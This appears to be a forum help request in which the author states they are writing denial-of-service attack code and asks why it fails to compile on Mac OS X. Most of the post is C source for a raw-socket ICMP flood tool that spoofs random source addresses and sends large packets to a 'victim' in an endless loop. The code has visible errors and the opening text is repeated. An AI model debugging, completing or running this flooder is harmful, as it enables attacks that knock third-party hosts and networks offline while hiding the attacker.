Hi guys. I write code for dos attack. When I do attempt to build the project, got 2 errors.
Such as:
1. error: invalid application of 'sizeof' to incomplete type 'struct iphdr'
2. error: dereferencing pointer to incomplete type
2 in code
1 in code
At Linux build is successful!
Xcode Version 3.0
OS Mac OS X Leopard 10.5.8
This code
Such as:
1. error: invalid application of 'sizeof' to incomplete type 'struct iphdr'
2. error: dereferencing pointer to incomplete type
2 in code
Code:
/* Fill the IP - header */ and /* Get a new IP - the source address if the first command line argument was specified random */
1 in code
Code:
char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
and
struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));
At Linux build is successful!
Xcode Version 3.0
OS Mac OS X Leopard 10.5.8
This code
Code:
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/*-------------------------------------------*/
/* Convert host name to IP - adвress */
/*-------------------------------------------*/
unsigned long resolve(char *hostname){
struct hostent *hp;
if((hp = gethostbyname(hostname)) == NULL){
herror("gethostbyname() faild");
exit(-1);
}
return *(unsigned long *)hp -> h_addr_list[0];
}
/*-------------------------------------------*/
/* Checksumming */
/*-------------------------------------------*/
unsigned short in_cksum(unsigned short *addr, int len){
unsigned short result;
unsigned int sum = 0;
/* Adds all double-byte words */
while(len > 1){
sum += *addr++;
len -= 2;
}
/* If the left byte, we add it to the sum */
if(len == 1) sum += *(unsigned char*) addr;
sum = (sum >> 16) + (sum & 0xFFFF);
/* Adds an Transfer */
sum += (sum >> 16);
/* again */
result = ~sum;
/* Invert the result */
return result;
}
/*-------------------------------------------*/
/* main() */
/*-------------------------------------------*/
int main (int argc, const char * argv[]) {
int sd, rnd = 0;
const int on = 1;
unsigned long dstaddr, srcaddr;
struct sockaddr_in servaddr;
char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));
if(argc != 3){
fprintf(stderr,"Usage: %s <source address | random> <destination address>\n", argv[0]);
exit(-1);
}
/* Creating RAW - socket */
if((sd + socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket() faild");
exit(-1);
}
/* Since we own to fill in IP - header, set the option IP_HDRINCL */
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0){
perror("setsockopt() faild");
exit(-1);
}
/* We provide the ability to send broadcast messages widely */
if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0){
perror("setsockopt() faild");
exit(-1);
}
/* If the first command line argument specified random, then the IP - the source address is chosen randomly */
if(!strcmp(argv[1], "random")){
rnd = 1;
srcaddr = random();
}else srcaddr = resolve(argv[1]);
/* IP - address of the victim */
dstaddr = resolve(argv[2]);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dstaddr;
/* Fill the IP - header */
ip_hdr->ihl = 5;
ip_hdr->version = 4;
ip_hdr->tos = 0;
ip_hdr->tot_len = htons(sizeof(struct iphdr *) + sizeof(struct icmp) + 1400);
ip_hdr->id = 0;
ip_hdr->frag_off = 0;
ip_hdr->tt1 = 255;
ip_hdr->protocol = IPPROTO_ICMP;
ip_hdr->check = 0;
ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr *));
ip_hdr->saddr = srcaddr;
ip_hdr->daddr = dstaddr;
/* Fill ICMP - header */
icmp_hdr->icmp_type = ICMP_ECHO;
icmp_hdr->icmp_code = 0;
icmp_hdr->icmp_id = 1;
icmp_hdr->icmp_seq = 1;
icmp_hdr->icmp_cksum = 0;
icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);
/* In the endless cycle of sending packets */
while(1){
if(sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr,
sizeof(servaddr)) < 0){
perror("sento() faild");
exit(-1);
}
/* Get a new IP - the source address if the first command line argument was specified random */
if(rnd) ip_hdr->saddr = random();
}
return 0;
}